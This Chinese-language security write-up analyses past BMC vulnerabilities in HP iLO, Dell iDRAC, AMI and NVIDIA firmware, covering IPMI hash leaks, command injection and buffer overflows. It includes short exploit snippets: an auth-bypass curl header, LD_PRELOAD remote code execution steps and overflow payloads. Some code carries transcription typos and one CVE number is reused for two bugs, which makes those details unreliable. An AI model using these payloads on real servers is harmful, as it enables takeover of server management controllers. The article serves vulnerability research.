BMC漏洞实例分析

0x01 前 言

在做某些服务器设备漏洞挖掘时,负责管理服务器的BMC模块是重要的一环。BMC系统被攻破,可能导致服务器主机穿透沦陷。本文将重点分析BMC相关历史漏洞。

0x02 BMC介绍

BMC(Baseboard Management Controller)为主板管理控制器。它是一种硬件设备或嵌入式系统,通常位于计算机主板上,用于监控、管理和维护计算机系统的硬件和软件。他本质上使用传感器来与设备进行通信,允许对被控机器进行完全控制(例如KVM)。这样可以通过远程访问BMC,然后重新配置主机,更改BIOS设置,或者刷新受控设备的固件。

不同供应商的服务器和主板可能会配备不同类型的 BMC,例如,HP 的 iLO、华为的MGMT、Dell 的 iDRAC、浪潮的IPMI 等,都是 BMC 的具体实现。

HP iLO
HUAWEI MGMT
DELL iDRAC
浪潮 IPMI

BMC通常被实现为嵌入式系统,芯片外围会配置自己的RAM、Flash等器件,插电BMC就会快速运行起来。

BMC是一个独立的系统,不依赖与系统上的其他硬件(比如CPU、内存等等),也不依赖BIOS、OS等。但BMC可以与BIOS和OS交互,一般大规模的数据中心会有OS系统管理软件与BMC协同工作实现集中管理的工作。

0x03 常见带外管理通信接口

带外管理系统,是指远程客户端与服务器BMC通信,对服务器进行控制管理和维护。常见的带外管理接口有 IPMI 和 Redfish。

3.1 SMASH

SMASH是一种DTMF标准化的命令行,通过SSH运行,大多数攻击面都是认证后的。可通过一些产品的默认账号密码登录。

3.2 SNMP

SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及Hubs等)的一种标准协议。

$ snmpwalk -v1 -c public -m "./immalert.mib" 192.168.1.129
    |       |       |               |               |    
    |       |       |               |               |------> 目标IP
    |       |       |               |------> 指定MIB文件,包含了用于解释和查询SNMP数据的信息
    |       |       |------> community字符public,用于只读访问
    |       |------> SNMP版本v1
    |------> 执行SNMP Walk操作,从设备上获取关于其管理信息的数据

通过执行snmpwalk,返回一些管理数据或命令,或许可以从中找到一些可控的命令注入。

3.3 IPMI

IPMI是BMC相关协议,用于远程管理BMC和访问大部分功能,包括UDP串行控制台。

历史问题:

  • Cipher Zero认证绕过
  • RAKP认证崩溃
  • 弱Session ID

案例一:CVE-2013-4786

分析BMC可以首先检查自2013以来就已知的哈希泄露。

下图是IPMI标准手册截图,解释了IPMI中身份验证如何工作。IPMI 2.0规范使用RAKP认证密钥交换协议。

重点关注两条消息:

Message 1从管理员控制台发送到BMC,管理员只需要将用户名发送到BMC,而BMC会查找用户名并根据包含用户名的某些数据(比如控制台和受管系统的Session ID,和对应的随机数,权限级别,用户名长度和用户名本身)计算HMAC,且即将进行身份验证的用户的密码将用作此HMAC计算的密钥;

Message 2将这个HMAC计算结果被发送回管理员。

触发RAKP的一种简单方法是使用ipmitool发送任意命令。

$ ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 10.0.0.1 chassis identify
                |         |         |           |             |         |------> 蓝色uid指示灯,直接执行命令,只能维持15秒
                |         |         |           |             |------> 指定目标BMC设备的IP地址
                |         |         |           |------> 无效的密码,不重要,因为不需要完成认证
                |         |         |------> 用户名
                |         |------> -v*3 启用详细的调试输出,得到所有传入和传出的数据包
                |------> IPMI接口类型LANplus

返回消息:

Message 1:
   [...]
   rakp2 mac input buffer (63 bytes)
   a4 a3 a2 a0 4c 7f fb df ee a4 a3 96 b1 d0 7e 27
   cd ef 32 ae 66 cf 87 b9 aa 3e 97 ed 5d 39 77 4b
   bc 8a c5 a9 e2 da 1d d9 35 30 30 31 4d 53 00 00
   00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e
                               | |-------------|
                               |         |
                               |         |------> 用户名ADMIN
                               |------> 用户名长度
   [...]
Message 2:
   [...]
   Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496
                                  |------------------------------------------|
                                                      HAMC
   [...]
   /
   ...unauthorized name
   /
   ...

因此,如果攻击者知道BMC用户数据库中存在的正确的用户名,他就可以接收哈希值并计算它,并且将猜测密码/密码本用作此HMAC的密钥,计算出HMAC并与Message 2中的HMAC进行对比,一致则密码正确。

而这个问题至今都没有修复,但一些厂商会有防护措施,比如通过防火墙设置策略、强密码或禁用IPMI解决。

案例二:CVE-2023-34344 – AMI & CVE-2022-42288 – NVIDIA

如果不知道正确的用户名呢?

当BMC进行身份验证时,用户名的长度也会在同一消息中发送。可以猜测BMC对用户名的检测使用的是memcpy(在AMI和NVIDIA中正是如此),那么服务器处理这个用户名的时间不是固定的,也就是可以通过侧信道爆破用户名。

案例三:CVE-2023-34341 – AMI & CVE-2022-42278 – NVIDIA

IPMI服务器监听BMC套接字,特定的读写API允许读取服务器进程上下文中的任何虚拟内存,并返回客户端。


if...                    // if ( ActivateFlashStatus != 1 )
if...                    // if ( CalculateChksum( &req->address, req->hdr.struct_length) != req- >hdr.crc32
if...                    // if ( req->hdr.struct_length != 7 )
size = LOBYTE(req->size) | (HIBYTE(req->size) << 8);
address = ( LOBYTE(req->address) | (BYTE1(req->address) << 8) | ( BYTE2(req->address) << 16) | (HIBYTE(req->address) << 24)); 
heap_ mem = malloc(size);
if...                    // if ( !heap_ mem )
memcpy(heap_mem, address, size);
memcpy(&res[1], heap_mem, size);      // [1] Read
res->status = 0;
LastStatCode = 0;
v15 = req->hdr.field_0
v16 = (LOBYTE(req->hdr.field_0)
(BYTE1(req->hdr.field_0) << 8) | (BYTE2(req->hdr.field_0) << 16) | (HIBYTE(req->hdr.field_0) << 24
v17 = (LOBYTE(req->hdr.field_0) | (BYTE1(req->hdr.field_0) << 8) | (BYTE2(req->hdr.field_0) << 16) | (HIBYTE(req->hdr. field_0) << 24
BYTE1(res->hdr.field_ 0) = BYTE1(req->hdr.field_ 0);
LOBYTE(res->hdr.field_ 0) = v15;
BYTE2(res->hdr.field_ 0) = v16;
HIBYTE(res->hdr.field_ 0) = v17;
res- >hdr.struct_length - LOBYTE(req->size) | (HIBYTE(req->size) << 8);
res->hdr.crc32 = CalculateChksum(heap_ mem, LOBYTE(req->size)| (HIBYTE(req->size) << 8));
free(heap_mem);
return (LOBYTE(req->size) | (HIBYTE(req->size) << 8)) + 13;

同理,没有对地址和内容做校验,会将请求包内容写入任意地址,实现任意地址写。


if ( gDeviceNode <= 1 )
{
    if ( ActivateFlashStatus == 1 )
        if (CalculateChksum(&req->address, LOBYTE(req->hdr.struct_length) | (HIBYTE(req->hdr.struct_length) << 8)) == (LOBYTE(...)))
        {
            memcpy(
            (LOBYTE(req->address)| (BYTE1(req->address) << 8) | (BYTE2(req->address) << 16) | (HIBYTE(req->address) << 24)),
            &req[1],
            (LOBYTE(req->hdr.struct_length) | (HIBYTE(req->hdr.struct_length) << 8)) - 5);      // [1] Write
      ...

案例四:CVE-2023-34343 – AMI & CVE-2022-42289 – NVIDIA

SNMP Injection

IPMI每次发送想要重新加载或更改SNMP配置新包时,都会使用system创建一个新文件,而[1]rocommunity是从用户请求中读取的,然后[2]直接被拼接到command并system执行,实现注入。

case 4:                  // req[0]
 *rwcommunity = *zeroes;
 *&rwcommunity[4] = *&zeroes[4];
 *&rwcommunity[8] = *&zeroes[8];
 *&rwcommunity[12] = *&zeroes[12]; 
 req_len_decr = req_len - 1;
 *&rwcommunity[16] = *&zeroes[16];
 rwcommunity[20] = zeroes[20];
 memcpy(aPublic, req + 1, req_len_decr);
 memcpy(rocommunity, req + 1, req_len_decr);        // [1]
 break;
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo'#SNMP User Configuration' > %s", "/conf/snmp_users.conf");
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo 'rwcommunity %s' >>%s", rwcommunity, "/conf/snmp_users.conf");
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo 'rocommunity %s' >>%s", rocommunity, "/conf/snmp_users.conf");        // [2]
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo 'rwcommunity6 %s' >>%s", rwcommunity, "/conf/snmp_users.conf");
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo 'rocommunity6 %s' >>%s " , rocommunity, "/conf/snmp_users.conf");      // [2]
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo 'dlmod libsnmp_hostname_mib /usr/1ocal/lib/libsnmp_hostname_mib.so' >>%s", "/conf/snmp_users.conf");
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "echo 'dlmod libsnmp_systemstatus /usr/local/lib/libsnmp_systemstatus.so' >>%s","/conf/snmp_users.conf");
system(cmd);
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, " echo 'dlmod libsnmp_CHANGEME_mib /usr/local/lib/libsnmp_CHANGEME_mib.so' >>%s", "/conf/snmp_users.conf");
system(cmd);

案例五:CVE-2023-34334 – AMI & CVE-2022-42290 – NVIDIA

NTP Injection

用户开启NTP服务后,可以[1]设置主服务器地址并[2]将其保存到g_BMCInfo变量中重启ntp服务。

    subcmd = *req;
    switch (*req)
    {
        case 1:                        // subcmd 1: set primary server
        case 2:                         // subcmd 2: set secondary server
            if(req_len != 129)
                goto LABEL_7;
            if (g_BMCInfo[instance].ntp_enabled == 1 )    // ntp_enabled
            {
                first_servername_byte = req[1];
                if ( first_servername_byte )
                {
                    if(subcmd == 1)
                    {
                        if ( snprintf(g_BMCInfo[instance].ntp_primary, 0x80u, "%s",req + 1) <= 0x7F )        // [1]
                            goto success;
                        IDBG_LINUXAPP_Dbg0ut(130,"[%s :%d]Buffer 0verflow", "NTPCmds.c", 222);
                        *res = 0xF1;
                    }
                }
                else
                {
                    if ( snprintf(g_BMCInfo[ instance].ntp_secondary, 0x80u, "%s", req + 1) <= 0x7F )
                    ...
        ...
        case 4:                        // subcmd 4: save config and restart ntp
            if(req_len!=1)
            goto LABEL 7;
            if ( g_ BMCInfo[instance].ntp_enabled == 1 )  // ntp_enabled
            {
                if ( g_BMCInfo[instance].ntp_primary[0] && libami_setntpServer(1, g_BMCInfo[instance].ntp_primary))  // [2]
                {
                    v18 = dlerror();
                    IDBG_LINUXAPP_Dbg0ut(
                        130,
                        ”[%s :%d]Error in loading symbol libami_ setntpServer %s\n" ,
                        "NTPCmds.C",
                        296,
                        v18);
                        *res = -14;
                    return 1;
                }    
                if ( l1bami_setntpServer(2, g_BMCInfo[instance].ntp_secondary))
                ...

重新加载ntp服务时会[3]获取主服务器地址,获取成功后[4]将主服务器地址Primary不处理直接拼接到ntpdate命令中实现注入[5]。

libntpconf = dlopen("/usr/local/lib/libntpconf.so", 2);
if( libntpconf) {
    libami_getntpServer = dlsym(libntpconf, "libami_getntpServer");
    if ( 1ibami_getntpServer && libami_getntpServer(Primary, Secondary, 128))     // [3]
    {
        IDBG_LINUXAPP_DbgOut(130, "[%s:%d]\n Error in getting primary and secondary ntp server\n", "PendTask.c", 4073);
        goto LABEL_7;
    }
    if ( snprintf(ntpdate_cmd, 0x100u, "ntpdate -b -s -u %s", Primary) == -1)     // [4]
    {
      IDBG_LINUXAPP_DbgOut(130, "[%s:%d]\n PrimServer Data is invalid.\n", "PendTask.c", 4078); 
     }
    else
    {
        rc = like_system(ntpdate_cmd);                         // [5]
        if( !rc )
          goto LABEL_6;
        IDBG_LINUXAPP_DbgOut( 
          130,
          "[%s:%d]\n NTP update failure in primary server: :%d\n", 
          "PendTask.c",
          &elf_hash_bucket[958], 
          rc);
    ...

案例六:CVE-2017-8979

IPMI Zero Length Pool Overflow – HP iLO2 < 2.32

HP iLO在对IPMI消息长度处理时,直接做-6操作,容易导致length整数下溢,并将source拷贝到固定大小的mem中。

length = IPMI_Packet->Message_Length – 6;
mem = pool_block_allocate()
memcpy(mem, source, length);

exploit

buf = "0600ff07000000000000000000092018c88100388e0465"
mess= [int(buf[a:a+2], 16) for a in range(0,len(buf), 2)]
p = 13
nm = mess[:p] + [0] + mess[p+1:]
s = SendPacket(nm, sys.argv[1], IPMI_PORT)

3.4 HTTPS

HTTPS协议在大部分BMC上默认开启,BMC基本选择使用流行的嵌入式web服务。

案例一:CVE-2017-12542

Overflow – HP ILO 4 <2.53

这是一个由sscanf导致的溢出,ilo获取用户http请求头中的Connection,并拷贝到http_header中。

if ( *global_struct_a2 )
  {
    if ( custom_strncasecmp((int)https_connection, http_header, "Authorization:", 14) )
    {
     if ( custom_strncasecmp((int)https_connection, http_header, "Content-length:", 15) )
     {
     if ( custom_strncasecmp((int)https_connection, http_header, "Cookie:", 7) )
    {
    if ( !custom_strncasecmp((int)https_connection, http_header, "Connection:", 11) )
     sscanf(http_header, "%*s %s", https_connection->connection);          // 1
   }
    else
  {
  cookie_header = (int *)get_cookie_header((int)global_struct_a2);
  parse_req_cookie((int)https_connection, (int)http_header, cookie_header);
  }
  }

http_header是一个结构体,定义了一些字段,在connection下0x1c偏移后就是检查是否本地登录的字段localconnection

struct https_connection {
  ...
  0x0C: char connection[0x10];
  ...
  0x28: char localConnection;
  ...
  0xB8: void *vtable;
}

exploit

覆盖localConnection:认证绕过

curl -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" [TARGET]

覆盖虚表指针:任意代码执行

案例二:CVE-2018-1207

Environment Variable Injection leads to RCE – iDRAC 8

该漏洞是iDRAC上对环境变量处理不当导致的RCE。

$ cur1 'https://x.x.x.x/cgi-bin/login?LD_DEBUG=files'
HTTP/1.1 503 Service Unavailable
Keep-Alive: timeout=60, max=199
[...]
24986: file=/usr/lib/libfipsint.so.0.0.0 [0] ;    needed by /usr/1ocal/cgi-bin/ login [O]
24986: file=/usr/lib/libfipsint.so.0.0.0 [0] ;    generating link map
24986: dynamic : 0x295689e8    base: 0x29558000    size: 0x00010b24
24986: entry: 0x29558680   phdr: 0x29558034     phnum : 4

/cgi-bin/discover?LD\_PRELOAD=xxx 允许设置环境变量

常见思路:将LD_PRELOAD指向标准输入文件/proc/self/fd/0

但实际不可用,可能的原因有二:

  • 不允许将环境变量设置为一个非常文件;
  • 在执行到CGI这里的时候,被打开的临时文件描述符其实已经被关闭了,p牛的解决方法就是控制content-length和文件大小让上传流程一直不结束,从而保持文件描述符打开状态。

不过 /cgi-bin/putfile CGI允许未授权用户在文件/tmp/sshpkauthupload.tmp中存储任意内容,限128KB。

exploit

  1. POST /cgi-bin/putfile     上传任意文件内容
  2. POST /cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp     作为环境变量加载

案例三:CVE-2017-8979

Preauth Stack-Based Buffer Overflow in Wsman XML Tag Name Parsing / Wsman XMLns – HP iLO2

iLO在对Wsman XML请求处理时,调用sscanf 将xml中:后的字符串拷贝到栈上导致栈溢出。

ROM:001108B4 movhi     0x1F,rO, r7
ROM:001108B8 movea    0xAEO, r7, r7
      // "%[^:]:%s"
ROM:001108BC addi     0x8O, sp, r8
ROM:001108C0 addi     0xCO, sp, r9
ROM:001108C4 jarl     sscanf, lp
      // sscanf(arg2,"%[^:]:%s", sp[0x80], sp[OxCO])
ROM:001108C8 CMP    2, r10
ROM:001108CA bz      loc_1108E

exploit

import requests
headers = {'Content-Type' : ' application/soap+xml;charset=UTF-8'}
payload = "<x:" + "B"*0x300 + ">\n</x>"
r= requests.post('https://x.x.x.x/wsman', data=payload, verify=False, headers=headers)
print r.text

0x05 总 结

本文主要分享了BMC常见的攻击面及相关实例,从这些漏洞可以看出大部分漏洞成因是常见的逻辑处理问题。因此在对BMC分析的过程中,可以重点审计SMASH、SNMP、IPMI、HTTPS相关处理代码。